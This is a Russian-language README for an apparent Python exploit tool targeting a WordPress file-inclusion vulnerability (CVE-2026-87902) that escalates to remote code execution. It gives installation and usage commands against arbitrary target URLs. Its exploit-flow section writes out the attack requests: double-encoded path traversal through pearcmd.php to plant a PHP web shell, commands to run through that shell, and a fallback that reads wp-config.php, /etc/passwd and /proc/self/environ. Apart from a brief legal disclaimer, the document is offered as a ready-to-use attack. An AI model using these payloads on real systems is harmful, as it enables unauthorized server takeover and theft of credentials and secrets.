Python-эксплойт для CVE-2026-87902, цепочки LFI-to-RCE в ядре WordPress. Определяет версии, записывает PHP-шелл через pearcmd и обеспечивает выполнение команд или резервный вариант через LFI.
⚠️ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ Использование против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, незаконно и наказуемо в соответствии с законами о киберпреступности. Автор не несёт ответственности за неправомерное использование.
| Поле | Значение |
|---|
| CVE | CVE-2026-87902 |
| Тип | Local File Inclusion (LFI) → Remote Code Execution (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Критический) |
| Вектор атаки | Сетевой (без аутентификации) |
| Затронуто | WordPress 4.7.0 – 7.1.1 |
| Исправлено | WordPress 7.1.2 (и бэкпорты до 4.7.37) |
| Первопричина | get_page_template() не вызывает validate_file() после URL-декодирования параметра pagename, что позволяет двойному URL-кодированию обхода (%252E%252E%252F) обойти санитизацию и включить произвольные .php-файлы за пределами директории темы. |
Для полного RCE все перечисленные условия должны быть выполнены:
page-* (например, page-templates/)pearcmd.php присутствует и доступен для чтения пользователю веб-сервера (по умолчанию в официальных Docker-образах PHP и многих установках cPanel с PHP < 8.5)register_argc_argv=On (по умолчанию в PHP < 8.5)Если что-либо из этого отсутствует, эксплойт переключится на чтение файлов только через LFI.
exploit.py # Основной скрипт эксплойта README.md # Этот файл report.json # (опционально) Отчёт при использовании -o
Установка:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
Это выполнит:
· Определение версии WordPress и активной темы · Проверку диапазона уязвимых версий · Поиск ID опубликованной страницы (REST → sitemap → брутфорс) · Попытку записать PHP-шелл через pearcmd.php · Попытку включить шелл и выполнить id · Если RCE не удался, переключение на LFI по чувствительным файлам
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
Внутри шелла:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 Справочник по CLI
Флаг Длинный Описание -t --target Обязательно. URL целевого WordPress (без завершающего слэша). -c --command Выполнить одну shell-команду после RCE. -i --interactive Открыть интерактивный шелл после RCE. -v --verbose Выводить подробный прогресс. -o --output Сохранить итоговый отчёт в JSON по указанному пути. -h --help Показать справку.
🔄 Поток эксплойта
[1] Fingerprint
├─ WordPress version (meta generator / asset ?ver=)
└─ Active theme (/wp-content/themes/<name>/)
[2] Version check
└─ 4.7.0 – 7.1.1 ? continue : warn & continue
[3] Find page ID
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Brute force: /?page_id=1..30
[4] Check page-* directory
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Write shell via pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Include shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (if RCE fails)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. variants